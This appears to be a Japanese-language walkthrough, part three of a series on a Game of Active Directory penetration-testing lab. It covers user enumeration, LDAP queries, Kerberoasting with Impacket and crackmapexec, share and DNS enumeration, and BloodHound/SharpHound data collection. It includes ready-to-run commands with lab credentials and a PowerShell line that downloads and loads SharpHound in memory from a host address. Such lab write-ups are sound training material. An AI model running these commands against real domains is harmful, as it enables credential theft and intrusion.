第三部分は、以前に取得した資格情報を利用して、いくつかの情報を引き続き収集できるかどうかを確認するユーザーを列挙します。
vagrant upで休眠中のマシンを起動
アクティブディレクトリでアカウントを取得したら、最初に行うべきことは常に完全なユーザーリストを取得することです。
ユーザーリストを取得したら、すべてのユーザーに対してパスワードスプレーを行うことができます(通常、他のアカウントが弱いパスワードを使用していることがわかります。たとえば、ユーザー名がそのままパスワード、季節や年の組み合わせ、団体名と年の組み合わせ、さらには 123456 などです)。
part2 では、brandon.starkアカウントのパスワードを取得しました。
python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra
[*] north.sevenkingdoms.localのドメインに関する情報を照会中。
名前 メール パスワード最終設定 最終ログオン
-------------------- ------------------------------ ------------------- -------------------
Administrator 2024-01-17 20:24:06.650023 2024-01-18 00:15:11.751714
Guest <never> <never>
vagrant 2021-05-12 19:38:55.922520 2024-01-18 00:33:15.469101
krbtgt 2024-01-17 20:59:48.450235 <never>
2024-07-11 21:23:44.436491 <never>
arya.stark 2024-01-18 00:06:14.609612 2024-05-05 16:39:43.450938
eddard.stark 2024-01-18 00:06:24.165912 2024-07-21 14:07:26.720083
catelyn.stark 2024-01-18 00:06:31.753050 <never>
robb.stark 2024-01-18 00:06:39.977381 2024-07-21 14:08:30.539586
sansa.stark 2024-01-18 00:06:48.632812 <never>
brandon.stark 2024-01-18 00:06:56.360121 2024-07-11 22:59:04.257694
rickon.stark 2024-01-18 00:07:03.163738 <never>
hodor 2024-01-18 00:07:08.330623 <never>
jon.snow 2024-01-18 00:07:14.009106 <never>
samwell.tarly 2024-01-18 00:07:20.334394 2024-07-11 23:17:33.390596
jeor.mormont 2024-01-18 00:07:26.125439 <never>
sql_svc 2024-01-18 00:07:30.994621 2024-05-05 15:22:57.352040
LDAP クエリ#
LDAP はディレクトリサービスプロトコルであり、ディレクトリに接続、検索、変更するためのメカニズムを提供します。
north.sevenkingdoms.local で ldap クエリを使用
#ldapをインストール
sudo apt install ldap-utils
#ldapクエリ、personカテゴリでuserクラスのすべてのオブジェクトを検索
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'
LDAP クエリを通じてユーザー情報も取得でき、ドメイン間には信頼関係が存在するため、LDAP を通じて他のドメインのユーザーも照会できます。
sevenkingdoms.local
ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep "distinguishedName"
essos.local
essos.local でクエリを実行すると、無効な資格情報というメッセージが表示されます。これは、両者の間に信頼関係がないためです。
LDAP クエリの参考:https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/
Kerberoasting#
Active Directory からユーザーのサービスプリンシパル名(Service Principal Names, SPNs)を取得し、対応する Kerberos サービスチケットを要求するプロセスを Kerberoasting と呼びます。
python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes
すべてのハッシュは kerberoasting.hashes ファイルに保存されます。
全体の流れ:
1、認証:
スクリプトは提供された資格情報(ユーザー名とパスワード)を使用して指定されたドメインコントローラー(192.168.56.11
)に接続します。
2、SPNs の列挙:
スクリプトは Active Directory を照会し、すべての SPNs を持つユーザーを列挙します。これらの SPNs は通常、Kerberos 認証のためのサービスアカウントに使用されます。
3、サービスチケットの要求:
列挙された SPNs に基づいて、スクリプトは対応する Kerberos サービスチケット(TGS)を要求します。これらのチケットには、暗号化されたサービスアカウントのパスワードハッシュが含まれています。
4、チケットの保存:
要求された Kerberos サービスチケットのハッシュ値は、指定された出力ファイル(kerberoasting.hashes
)に保存されます。
cme を使用して取得することもできます。
crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING
hashcat を使用してパスワードを解読しようとします。
アカウントとパスワードを取得しました:jon.snow
共有ディレクトリの列挙#
crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares
192.168.56.22 の共有ディレクトリ
dns 列挙#
ツール:https://github.com/dirkjanm/adidnsdump
インストール:
pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump
Bloodhound#
次に、Bloodhound を使用してドメイン内の環境を分析します。攻撃者はターゲット上でcollector
を実行し、ドメインに関する大量の情報を列挙する必要があります。collector
の実行が完了すると、一連の.json
ファイルが出力され、攻撃者の Bloodhound インターフェースにインポートされます。
BloodHound.py データコレクター#
以下の Python スクリプトを使用してデータを収集します。
A Python based ingestor for BloodHound
north.sevenkingdoms.local 上のデータを収集します。
python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10
注:dns を指定する必要があります。指定しないと、以下のエラーが表示されます。BloodHound.py の公式サイトを確認したところ、多くの人がこのエラーに遭遇しています。
同様に、他のいくつかのドメインからデータを収集します。
kingslanding.sevenkingdoms.local
python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10
meereen.essos.local
python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10
BloodHound を使用して 3 つのドメインの情報を収集しました。
注:ただし、GitHub 上のプロジェクトを観察すると、Python バージョンのデータ収集ツールは機能が強力ですが、.NET バージョンと比較するとまだ不足があります。具体的には、ほとんどの BloodHound(SharpHound)機能をサポートしていますが、すべてではなく、特にグループポリシーオブジェクト(GPO)に基づく収集方法が欠けています。
sharphound.exe データコレクター#
同様に、sharphound.exe の Windows バージョンを使用して再度データを収集します。
プロジェクトアドレス:https://github.com/BloodHoundAD/SharpHound
リモートデスクトップでドメイン内のマシンに接続します。
sudo apt install freerdp2-x11
xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp
.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip
また、PowerShell を使用してメモリ内で sharpblood を実行することもできます。
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())
Bloodhound の起動#
Kali で Bloodhound を起動し、bloodhound-python で収集した情報をインポートします。sharphound からエクスポートされた情報は Bloodhound にインポートできない可能性があります。これはバージョンの関係かもしれません。以前、春秋云鏡の靶場で同じ問題に直面し、sharphound が収集した内容をインポートできませんでした。
すべてのドメインとコンピュータを表示
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
すべてのユーザーを表示
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
ドメイン / グループ / ユーザーの全体マップを表示
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
ユーザーの ACL を表示
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
参考#
https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://github.com/BloodHoundAD/SharpHound/releases
https://github.com/dirkjanm/BloodHound.py
https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/